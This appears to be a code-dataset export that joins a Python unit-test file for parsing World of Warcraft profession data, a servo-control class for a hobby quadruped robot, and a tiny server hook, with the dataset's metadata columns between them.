{ 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 }
]}}
Section.professions(jack, response)
assert jack.primary1_name == 'Herbalism'
assert jack.primary1_icon == 'trade_herbalism'
assert jack.primary1_classic_level == 150
assert jack.primary1_classic_max == 300
assert jack.primary1_burning_crusade_level == None
assert jack.primary1_burning_crusade_max == None
assert jack.primary1_wrath_of_the_lich_king_level == None
assert jack.primary1_wrath_of_the_lich_king_max == None
assert jack.primary1_cataclysm_level == None
assert jack.primary1_cataclysm_max == None
assert jack.primary1_mists_of_pandaria_level == None
assert jack.primary1_mists_of_pandaria_max == None
assert jack.primary1_warlords_of_draenor_level == None
assert jack.primary1_warlords_of_draenor_max == None
assert jack.primary1_legion_level == None
assert jack.primary1_legion_max == None
assert jack.primary1_battle_for_azeroth_level == None
assert jack.primary1_battle_for_azeroth_max == None
assert jack.primary2_name == 'Mining'
assert jack.primary2_icon == 'inv_pick_02'
assert jack.primary2_classic_level == 122
assert jack.primary2_classic_max == 300
assert jack.primary2_burning_crusade_level == None
assert jack.primary2_burning_crusade_max == None
assert jack.primary2_wrath_of_the_lich_king_level == None
assert jack.primary2_wrath_of_the_lich_king_max == None
assert jack.primary2_cataclysm_level == None
assert jack.primary2_cataclysm_max == None
assert jack.primary2_mists_of_pandaria_level == None
assert jack.primary2_mists_of_pandaria_max == None
assert jack.primary2_warlords_of_draenor_level == None
assert jack.primary2_warlords_of_draenor_max == None
assert jack.primary2_legion_level == None
assert jack.primary2_legion_max == None
assert jack.primary2_battle_for_azeroth_level == None
assert jack.primary2_battle_for_azeroth_max == None
def test_profession_simple_secondaries():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{ 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 },
{ 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 }
],
'secondary' : [
{ 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 },
{ 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 },
{ 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 }
]}}
Section.professions(jack, response)
assert jack.cooking_name == 'Cooking'
assert jack.cooking_icon == 'inv_misc_food_15'
assert jack.cooking_classic_level == 0
assert jack.cooking_classic_max == 300
assert jack.cooking_burning_crusade_level == None
assert jack.cooking_burning_crusade_max == None
assert jack.cooking_wrath_of_the_lich_king_level == None
assert jack.cooking_wrath_of_the_lich_king_max == None
assert jack.cooking_cataclysm_level == None
assert jack.cooking_cataclysm_max == None
assert jack.cooking_mists_of_pandaria_level == None
assert jack.cooking_mists_of_pandaria_max == None
assert jack.cooking_warlords_of_draenor_level == None
assert jack.cooking_warlords_of_draenor_max == None
assert jack.cooking_legion_level == None
assert jack.cooking_legion_max == None
assert jack.cooking_battle_for_azeroth_level == None
assert jack.cooking_battle_for_azeroth_max == None
assert jack.fishing_name == 'Fishing'
assert jack.fishing_icon == 'trade_fishing'
assert jack.fishing_classic_level == 0
assert jack.fishing_classic_max == 300
assert jack.fishing_burning_crusade_level == None
assert jack.fishing_burning_crusade_max == None
assert jack.fishing_wrath_of_the_lich_king_level == None
assert jack.fishing_wrath_of_the_lich_king_max == None
assert jack.fishing_cataclysm_level == None
assert jack.fishing_cataclysm_max == None
assert jack.fishing_mists_of_pandaria_level == None
assert jack.fishing_mists_of_pandaria_max == None
assert jack.fishing_warlords_of_draenor_level == None
assert jack.fishing_warlords_of_draenor_max == None
assert jack.fishing_legion_level == None
assert jack.fishing_legion_max == None
assert jack.fishing_battle_for_azeroth_level == None
assert jack.fishing_battle_for_azeroth_max == None
assert jack.archaeology_name == 'Archaeology'
assert jack.archaeology_icon == 'trade_archaeology'
assert jack.archaeology_level == 0
assert jack.archaeology_max == 950
def test_profession_primaries_all_expacs():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{'id': 2486, 'name': 'Kul Tiran Enchanting', 'icon': 'trade_engraving', 'rank': 175, 'max': 150},
{'id': 2487, 'name': 'Legion Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100},
{'id': 2488, 'name': 'Draenor Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100},
{'id': 2489, 'name': 'Pandaria Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75},
{'id': 2491, 'name': 'Cataclysm Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75},
{'id': 2492, 'name': 'Northrend Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75},
{'id': 2493, 'name': 'Outland Enchanting', 'icon': 'trade_engraving', 'rank': 75, 'max': 75},
{'id': 197, 'name': 'Tailoring', 'icon': 'trade_tailoring', 'rank': 300, 'max': 300},
{'id': 333, 'name': 'Enchanting', 'icon': 'trade_engraving', 'rank': 300, 'max': 300},
{'id': 2533, 'name': 'Kul Tiran Tailoring', 'icon': 'trade_tailoring', 'rank': 175, 'max': 150},
{'id': 2534, 'name': 'Legion Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100},
{'id': 2535, 'name': 'Draenor Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100},
{'id': 2536, 'name': 'Pandaria Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75},
{'id': 2537, 'name': 'Cataclysm Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75},
{'id': 2538, 'name': 'Northrend Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75},
{'id': 2539, 'name': 'Outland Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}
],
'secondary' : [
{ 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 },
{ 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 },
{ 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 }
]}}
Section.professions(jack, response)
assert jack.primary1_name == 'Enchanting'
assert jack.primary1_icon == 'trade_engraving'
assert jack.primary1_classic_level == 300
assert jack.primary1_classic_max == 300
assert jack.primary1_burning_crusade_level == 75
assert jack.primary1_burning_crusade_max == 75
assert jack.primary1_wrath_of_the_lich_king_level == 75
assert jack.primary1_wrath_of_the_lich_king_max == 75
assert jack.primary1_cataclysm_level == 75
assert jack.primary1_cataclysm_max == 75
assert jack.primary1_mists_of_pandaria_level == 75
assert jack.primary1_mists_of_pandaria_max == 75
assert jack.primary1_warlords_of_draenor_level == 100
assert jack.primary1_warlords_of_draenor_max == 100
assert jack.primary1_legion_level == 100
assert jack.primary1_legion_max == 100
assert jack.primary1_battle_for_azeroth_level == 175
assert jack.primary1_battle_for_azeroth_max == 175
assert jack.primary2_name == 'Tailoring'
assert jack.primary2_icon == 'trade_tailoring'
assert jack.primary2_classic_level == 300
assert jack.primary2_classic_max == 300
assert jack.primary2_burning_crusade_level == 75
assert jack.primary2_burning_crusade_max == 75
assert jack.primary2_wrath_of_the_lich_king_level == 75
assert jack.primary2_wrath_of_the_lich_king_max == 75
assert jack.primary2_cataclysm_level == 75
assert jack.primary2_cataclysm_max == 75
assert jack.primary2_mists_of_pandaria_level == 75
assert jack.primary2_mists_of_pandaria_max == 75
assert jack.primary2_warlords_of_draenor_level == 100
assert jack.primary2_warlords_of_draenor_max == 100
assert jack.primary2_legion_level == 100
assert jack.primary2_legion_max == 100
assert jack.primary2_battle_for_azeroth_level == 175
assert jack.primary2_battle_for_azeroth_max == 175
def test_profession_secondaries_all_expacs():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{ 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 },
{ 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 }
],
'secondary': [
{'id': 2585, 'name': 'Kul Tiran Fishing', 'icon': 'trade_fishing', 'rank': 65, 'max': 150},
{'id': 794, 'name': 'Archaeology', 'icon': 'trade_archaeology', 'rank': 600, 'max': 950},
{'id': 2586, 'name': 'Legion Fishing', 'icon': 'trade_fishing', 'rank': 1, 'max': 100},
{'id': 2587, 'name': 'Draenor Fishing', 'icon': 'trade_fishing', 'rank': 1, 'max': 100},
{'id': 2588, 'name': 'Pandaria Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75},
{'id': 2589, 'name': 'Cataclysm Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75},
{'id': 2590, 'name': 'Northrend Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75},
{'id': 2591, 'name': 'Outland Fishing', 'icon': 'trade_fishing', 'rank': 75, 'max': 75},
{'id': 185, 'name': 'Cooking', 'icon': 'inv_misc_food_15', 'rank': 300, 'max': 300},
{'id': 356, 'name': 'Fishing', 'icon': 'trade_fishing', 'rank': 300, 'max': 300},
{'id': 2541, 'name': 'Kul Tiran Cooking', 'icon': 'inv_misc_food_15', 'rank': 175, 'max': 150},
{'id': 2542, 'name': 'Legion Cooking', 'icon': 'inv_misc_food_15', 'rank': 1, 'max': 100},
{'id': 2543, 'name': 'Draenor Cooking', 'icon': 'inv_misc_food_15', 'rank': 5, 'max': 100},
{'id': 2544, 'name': 'Pandaria Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75},
{'id': 2545, 'name': 'Cataclysm Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75},
{'id': 2546, 'name': 'Northrend Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75},
{'id': 2547, 'name': 'Outland Cooking', 'icon': 'inv_misc_food_15', 'rank': 75, 'max': 75}
]}}
Section.professions(jack, response)
assert jack.cooking_name == 'Cooking'
assert jack.cooking_icon == 'inv_misc_food_15'
assert jack.cooking_classic_level == 300
assert jack.cooking_classic_max == 300
assert jack.cooking_burning_crusade_level == 75
assert jack.cooking_burning_crusade_max == 75
assert jack.cooking_wrath_of_the_lich_king_level == 75
assert jack.cooking_wrath_of_the_lich_king_max == 75
assert jack.cooking_cataclysm_level == 75
assert jack.cooking_cataclysm_max == 75
assert jack.cooking_mists_of_pandaria_level == 75
assert jack.cooking_mists_of_pandaria_max == 75
assert jack.cooking_warlords_of_draenor_level == 5
assert jack.cooking_warlords_of_draenor_max == 100
assert jack.cooking_legion_level == 1
assert jack.cooking_legion_max == 100
assert jack.cooking_battle_for_azeroth_level == 175
assert jack.cooking_battle_for_azeroth_max == 175
assert jack.fishing_name == 'Fishing'
assert jack.fishing_icon == 'trade_fishing'
assert jack.fishing_classic_level == 300
assert jack.fishing_classic_max == 300
assert jack.fishing_burning_crusade_level == 75
assert jack.fishing_burning_crusade_max == 75
assert jack.fishing_wrath_of_the_lich_king_level == 75
assert jack.fishing_wrath_of_the_lich_king_max == 75
assert jack.fishing_cataclysm_level == 75
assert jack.fishing_cataclysm_max == 75
assert jack.fishing_mists_of_pandaria_level == 75
assert jack.fishing_mists_of_pandaria_max == 75
assert jack.fishing_warlords_of_draenor_level == 1
assert jack.fishing_warlords_of_draenor_max == 100
assert jack.fishing_legion_level == 1
assert jack.fishing_legion_max == 100
assert jack.fishing_battle_for_azeroth_level == 65
assert jack.fishing_battle_for_azeroth_max == 175
assert jack.archaeology_name == 'Archaeology'
assert jack.archaeology_icon == 'trade_archaeology'
assert jack.archaeology_level == 600
assert jack.archaeology_max == 950
def test_profession_primaries_missing_expacs():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{'id': 2486, 'name': 'Kul Tiran Enchanting', 'icon': 'trade_engraving', 'rank': 175, 'max': 150},
{'id': 2487, 'name': 'Legion Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100},
{'id': 2488, 'name': 'Draenor Enchanting', 'icon': 'trade_engraving', 'rank': 100, 'max': 100},
{'id': 197, 'name': 'Tailoring', 'icon': 'trade_tailoring', 'rank': 300, 'max': 300},
{'id': 333, 'name': 'Enchanting', 'icon': 'trade_engraving', 'rank': 300, 'max': 300},
{'id': 2533, 'name': 'Kul Tiran Tailoring', 'icon': 'trade_tailoring', 'rank': 175, 'max': 150},
{'id': 2534, 'name': 'Legion Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100},
{'id': 2535, 'name': 'Draenor Tailoring', 'icon': 'trade_tailoring', 'rank': 100, 'max': 100},
{'id': 2536, 'name': 'Pandaria Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75},
{'id': 2537, 'name': 'Cataclysm Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75},
{'id': 2538, 'name': 'Northrend Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75},
{'id': 2539, 'name': 'Outland Tailoring', 'icon': 'trade_tailoring', 'rank': 75, 'max': 75}
],
'secondary' : [
{ 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 },
{ 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 },
{ 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 }
]}}
Section.professions(jack, response)
assert jack.primary1_name == 'Enchanting'
assert jack.primary1_icon == 'trade_engraving'
assert jack.primary1_classic_level == 300
assert jack.primary1_classic_max == 300
assert jack.primary1_burning_crusade_level == None
assert jack.primary1_burning_crusade_max == None
assert jack.primary1_wrath_of_the_lich_king_level == None
assert jack.primary1_wrath_of_the_lich_king_max == None
assert jack.primary1_cataclysm_level == None
assert jack.primary1_cataclysm_max == None
assert jack.primary1_mists_of_pandaria_level == None
assert jack.primary1_mists_of_pandaria_max == None
assert jack.primary1_warlords_of_draenor_level == 100
assert jack.primary1_warlords_of_draenor_max == 100
assert jack.primary1_legion_level == 100
assert jack.primary1_legion_max == 100
assert jack.primary1_battle_for_azeroth_level == 175
assert jack.primary1_battle_for_azeroth_max == 175
assert jack.primary2_name == 'Tailoring'
assert jack.primary2_icon == 'trade_tailoring'
assert jack.primary2_classic_level == 300
assert jack.primary2_classic_max == 300
assert jack.primary2_burning_crusade_level == 75
assert jack.primary2_burning_crusade_max == 75
assert jack.primary2_wrath_of_the_lich_king_level == 75
assert jack.primary2_wrath_of_the_lich_king_max == 75
assert jack.primary2_cataclysm_level == 75
assert jack.primary2_cataclysm_max == 75
assert jack.primary2_mists_of_pandaria_level == 75
assert jack.primary2_mists_of_pandaria_max == 75
assert jack.primary2_warlords_of_draenor_level == 100
assert jack.primary2_warlords_of_draenor_max == 100
assert jack.primary2_legion_level == 100
assert jack.primary2_legion_max == 100
assert jack.primary2_battle_for_azeroth_level == 175
assert jack.primary2_battle_for_azeroth_max == 175
def test_professions_missing_primary():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{ 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 },
],
'secondary' : [
{ 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 },
{ 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 },
{ 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 }
]}}
Section.professions(jack, response)
assert jack.primary1_name == 'Herbalism'
assert jack.primary1_icon == 'trade_herbalism'
assert jack.primary1_classic_level == 150
assert jack.primary1_classic_max == 300
assert jack.primary1_burning_crusade_level == None
assert jack.primary1_burning_crusade_max == None
assert jack.primary1_wrath_of_the_lich_king_level == None
assert jack.primary1_wrath_of_the_lich_king_max == None
assert jack.primary1_cataclysm_level == None
assert jack.primary1_cataclysm_max == None
assert jack.primary1_mists_of_pandaria_level == None
assert jack.primary1_mists_of_pandaria_max == None
assert jack.primary1_warlords_of_draenor_level == None
assert jack.primary1_warlords_of_draenor_max == None
assert jack.primary1_legion_level == None
assert jack.primary1_legion_max == None
assert jack.primary1_battle_for_azeroth_level == None
assert jack.primary1_battle_for_azeroth_max == None
assert jack.primary2_name == None
assert jack.primary2_icon == None
assert jack.primary2_classic_level == None
assert jack.primary2_classic_max == None
assert jack.primary2_burning_crusade_level == None
assert jack.primary2_burning_crusade_max == None
assert jack.primary2_wrath_of_the_lich_king_level == None
assert jack.primary2_wrath_of_the_lich_king_max == None
assert jack.primary2_cataclysm_level == None
assert jack.primary2_cataclysm_max == None
assert jack.primary2_mists_of_pandaria_level == None
assert jack.primary2_mists_of_pandaria_max == None
assert jack.primary2_warlords_of_draenor_level == None
assert jack.primary2_warlords_of_draenor_max == None
assert jack.primary2_legion_level == None
assert jack.primary2_legion_max == None
assert jack.primary2_battle_for_azeroth_level == None
assert jack.primary2_battle_for_azeroth_max == None
def test_professions_missing_icon():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{ 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 },
{ 'id' : 202, 'name' : "Engineering", 'rank' : 1, 'max' : 300 }
],
'secondary' : [
{ 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 },
{ 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 },
{ 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 }
]}}
Section.professions(jack, response)
assert jack.primary1_name == 'Herbalism'
assert jack.primary1_icon == 'trade_herbalism'
assert jack.primary1_classic_level == 150
assert jack.primary1_classic_max == 300
assert jack.primary1_burning_crusade_level == None
assert jack.primary1_burning_crusade_max == None
assert jack.primary1_wrath_of_the_lich_king_level == None
assert jack.primary1_wrath_of_the_lich_king_max == None
assert jack.primary1_cataclysm_level == None
assert jack.primary1_cataclysm_max == None
assert jack.primary1_mists_of_pandaria_level == None
assert jack.primary1_mists_of_pandaria_max == None
assert jack.primary1_warlords_of_draenor_level == None
assert jack.primary1_warlords_of_draenor_max == None
assert jack.primary1_legion_level == None
assert jack.primary1_legion_max == None
assert jack.primary1_battle_for_azeroth_level == None
assert jack.primary1_battle_for_azeroth_max == None
assert jack.primary2_name == 'Engineering'
assert jack.primary2_icon == None
assert jack.primary2_classic_level == 1
assert jack.primary2_classic_max == 300
assert jack.primary2_burning_crusade_level == None
assert jack.primary2_burning_crusade_max == None
assert jack.primary2_wrath_of_the_lich_king_level == None
assert jack.primary2_wrath_of_the_lich_king_max == None
assert jack.primary2_cataclysm_level == None
assert jack.primary2_cataclysm_max == None
assert jack.primary2_mists_of_pandaria_level == None
assert jack.primary2_mists_of_pandaria_max == None
assert jack.primary2_warlords_of_draenor_level == None
assert jack.primary2_warlords_of_draenor_max == None
assert jack.primary2_legion_level == None
assert jack.primary2_legion_max == None
assert jack.primary2_battle_for_azeroth_level == None
assert jack.primary2_battle_for_azeroth_max == None
def test_professions_clear_old_data():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{ 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 },
{ 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 }
],
'secondary' : [
{ 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 },
{ 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 },
{ 'id' : 794, 'name' : "Archaeology", 'icon' : 'trade_archaeology', 'rank' : 0, 'max' : 950 }
]}}
jack.primary1_name = 'Tailoring'
jack.primary1_icon = 'trade_tailoring'
jack.primary1_classic_level = 1
jack.priamry1_classic_max = 300
jack.primary1_burning_crusade_level = 1
jack.priamry1_burning_crusade_max = 75
Section.professions(jack, response)
assert jack.primary1_name == 'Herbalism'
assert jack.primary1_icon == 'trade_herbalism'
assert jack.primary1_classic_level == 150
assert jack.primary1_classic_max == 300
assert jack.primary1_burning_crusade_level == None
assert jack.primary1_burning_crusade_max == None
| 54.247191
| 113
| 0.658658
| 2,991
| 24,140
| 4.98997
| 0.042461
| 0.178224
| 0.115377
| 0.078928
| 0.947873
| 0.905863
| 0.893199
| 0.813936
| 0.808241
| 0.739833
| 0
| 0.060377
| 0.212345
| 24,140
| 444
| 114
| 54.369369
| 0.724571
| 0.001201
| 0
| 0.713942
| 0
| 0
| 0.168098
| 0
| 0
| 0
| 0
| 0
| 0.639423
| 1
| 0.019231
| false
| 0
| 0.007212
| 0
| 0.026442
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
db3b7282252ea278de274a938b516362f444e701
| 6,509
|
py
|
Python
|
QuadrupedPi/Quadruped/Quadruped.py
|
LakshBhambhani/Quadruped-JAVA
|
cff17989d910b848616472fd47cc50e6d77f17fb
|
[
"MIT"
] | 2
|
2019-08-12T13:24:32.000Z
|
2020-11-12T15:44:24.000Z
|
QuadrupedPi/Quadruped/Quadruped.py
|
LakshBhambhani/Quadruped-JAVA
|
cff17989d910b848616472fd47cc50e6d77f17fb
|
[
"MIT"
] | 5
|
2019-05-15T04:29:25.000Z
|
2019-07-22T16:16:33.000Z
|
QuadrupedPi/Quadruped/Quadruped.py
|
LakshBhambhani/Swiffee-Minikame-Simulator
|
cff17989d910b848616472fd47cc50e6d77f17fb
|
[
"MIT"
] | null | null | null |
from adafruit_servokit import ServoKit
import time
kit = ServoKit(channels=16)
class Quadruped():
def homePos(self):
kit.servo[4].angle = 40 #FL HIP
kit.servo[5].angle = 110 #FL FOOT
kit.servo[6].angle = 130 #FR HIP
kit.servo[7].angle = 70 #FR FOOT
kit.servo[8].angle = 130 #BL HIP
kit.servo[9].angle = 70 #BL FOOT
kit.servo[10].angle = 40 #BR HIP
kit.servo[11].angle = 110 #BR FOOT
print('switching to home position')
def walkForward(self):
kit.servo[7].angle = 50
kit.servo[9].angle = 50
time.sleep(0.2)
kit.servo[6].angle = 150
kit.servo[8].angle = 110
kit.servo[4].angle = 60
kit.servo[10].angle = 20
time.sleep(0.2)
kit.servo[7].angle = 70
kit.servo[9].angle = 70
time.sleep(0.2)
kit.servo[5].angle = 130
kit.servo[11].angle = 130
time.sleep(0.2)
kit.servo[6].angle = 110
kit.servo[8].angle = 150
kit.servo[4].angle = 20
kit.servo[10].angle = 60
time.sleep(0.2)
kit.servo[5].angle = 110
kit.servo[11].angle = 110
time.sleep(0.2)
print('Walking Forward')
def turnLeft(self):
kit.servo[5].angle = 130
kit.servo[11].angle = 130
time.sleep(0.2)
kit.servo[4].angle = 10
kit.servo[10].angle = 10
time.sleep(0.2)
kit.servo[5].angle = 110
kit.servo[11].angle = 110
time.sleep(0.2)
kit.servo[4].angle = 40
kit.servo[10].angle = 40
time.sleep(0.2)
kit.servo[7].angle = 50
kit.servo[9].angle = 50
time.sleep(0.2)
kit.servo[6].angle = 80
kit.servo[8].angle = 80
time.sleep(0.2)
kit.servo[7].angle = 70
kit.servo[9].angle = 70
time.sleep(0.2)
kit.servo[6].angle = 130
kit.servo[8].angle = 130
time.sleep(0.2)
print('turning left')
def turnRight(self):
kit.servo[5].angle = 130
kit.servo[11].angle = 130
time.sleep(0.2)
kit.servo[4].angle = 140
kit.servo[10].angle = 140
time.sleep(0.2)
kit.servo[5].angle = 110
kit.servo[11].angle = 110
time.sleep(0.2)
kit.servo[4].angle = 40
kit.servo[10].angle = 40
time.sleep(0.2)
kit.servo[7].angle = 50
kit.servo[9].angle = 50
time.sleep(0.2)
kit.servo[6].angle = 180
kit.servo[8].angle = 180
time.sleep(0.2)
kit.servo[7].angle = 70
kit.servo[9].angle = 70
time.sleep(0.2)
kit.servo[6].angle = 130
kit.servo[8].angle = 130
time.sleep(0.2)
print('turning right')
def bow(self):
kit.servo[5].angle = 140
kit.servo[7].angle = 15
kit.servo[9].angle = 130
kit.servo[11].angle = 30
time.sleep(0.2)
print('bowing')
def bendBack(self):
kit.servo[5].angle = 30
kit.servo[7].angle = 130
kit.servo[9].angle = 15
kit.servo[11].angle = 140
time.sleep(0.2)
print('bending back')
def pushUp(self):
kit.servo[4].angle = 130
kit.servo[5].angle = 70
kit.servo[6].angle = 60
kit.servo[7].angle = 130
kit.servo[8].angle = 170
kit.servo[9].angle = 50
kit.servo[10].angle = 10
kit.servo[11].angle = 130
time.sleep(1)
for i in range(5):
for k in range(80):
kit.servo[5].angle = 70 + k
kit.servo[7].angle = 130 - k
time.sleep(0.001)
for k in range(80):
kit.servo[5].angle = 110 - k
kit.servo[7].angle = 90 + k
time.sleep(0.001)
print('Finished 5 push ups')
def jumpUp(self):
kit.servo[4].angle = 10 #FL HIP
kit.servo[5].angle = 20 #FL FOOT
kit.servo[6].angle = 170 #FR HIP
kit.servo[7].angle = 120 #FR FOOT
kit.servo[8].angle = 0 #BL HIP
kit.servo[9].angle = 70 #BL FOOT
kit.servo[10].angle = 160 #BR HIP
kit.servo[11].angle = 110 #BR FOOT
time.sleep(3)
kit.servo[9].angle = 140 #BL FOOT
kit.servo[11].angle = 40 #BR FOOT
# time.sleep(0.01)
# kit.servo[8].angle = 180 #BL FOOT
# kit.servo[10].angle = 0 #BR HIP
time.sleep(0.5)
# kit.servo[4].angle = 40 #FL HIP
# kit.servo[5].angle = 110 #FL FOOT
# kit.servo[6].angle = 130 #FR HIP
# kit.servo[7].angle = 70 #FR FOOT
# kit.servo[8].angle = 130 #BL HIP
# kit.servo[9].angle = 70 #BL FOOT
# kit.servo[10].angle = 40 #BR HIP
# kit.servo[11].angle = 110 #BR FOOT
# time.sleep(2)
#
# kit.servo[5].angle = 180 #FL FOOT
# kit.servo[7].angle = 0 #FR FOOT
# kit.servo[9].angle = 0 #BL FOOT
# kit.servo[11].angle = 180 #BR FOOT
def jumpBack(self):
kit.servo[4].angle = 10 #FL HIP
kit.servo[5].angle = 20 #FL FOOT
kit.servo[6].angle = 170 #FR HIP
kit.servo[7].angle = 120 #FR FOOT
kit.servo[8].angle = 0 #BL HIP
kit.servo[9].angle = 70 #BL FOOT
kit.servo[10].angle = 160 #BR HIP
kit.servo[11].angle = 110 #BR FOOT
time.sleep(3)
kit.servo[9].angle = 140 #BL FOOT
kit.servo[11].angle = 40 #BR FOOT
# time.sleep(0.01)
# kit.servo[8].angle = 180 #BL FOOT
# kit.servo[10].angle = 0 #BR HIP
time.sleep(1.5)
kit.servo[4].angle = 40 #FL HIP
kit.servo[5].angle = 110 #FL FOOT
kit.servo[6].angle = 130 #FR HIP
kit.servo[7].angle = 70 #FR FOOT
kit.servo[8].angle = 130 #BL HIP
kit.servo[9].angle = 70 #BL FOOT
kit.servo[10].angle = 40 #BR HIP
kit.servo[11].angle = 110 #BR FOOT
# time.sleep(2)
#
# kit.servo[5].angle = 180 #FL FOOT
# kit.servo[7].angle = 0 #FR FOOT
# kit.servo[9].angle = 0 #BL FOOT
# kit.servo[11].angle = 180 #BR FOOT
| 25.034615
| 47
| 0.483792
| 950
| 6,509
| 3.313684
| 0.086316
| 0.315121
| 0.092122
| 0.083863
| 0.843075
| 0.768424
| 0.750635
| 0.726175
| 0.724269
| 0.707116
| 0
| 0.132233
| 0.376095
| 6,509
| 259
| 48
| 25.131274
| 0.642945
| 0.187126
| 0
| 0.664557
| 0
| 0
| 0.019777
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.056962
| false
| 0
| 0.012658
| 0
| 0.075949
| 0.044304
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
db4dd4f1be8d82115943e22a954f082a3b15dd9c
| 95
|
py
|
Python
|
forest/server_lifecycle.py
|
ramsdalesteve/forest
|
12cac1b3dd93c4475a8a4f696c522576b44f16eb
|
[
"BSD-3-Clause"
] | null | null | null |
forest/server_lifecycle.py
|
ramsdalesteve/forest
|
12cac1b3dd93c4475a8a4f696c522576b44f16eb
|
[
"BSD-3-Clause"
] | null | null | null |
forest/server_lifecycle.py
|
ramsdalesteve/forest
|
12cac1b3dd93c4475a8a4f696c522576b44f16eb
|
[
"BSD-3-Clause"
] | null | null | null |
import forest.data as data
def on_server_loaded(server_context):
data.on_server_loaded()
| 15.833333
| 37
| 0.789474
| 15
| 95
| 4.666667
| 0.6
| 0.228571
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136842
| 95
| 5
| 38
| 19
| 0.853659
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
db71ad6f0a34a137686dc92c3d5da109c84e2eed
| 350,389
|
py
|
Python
|
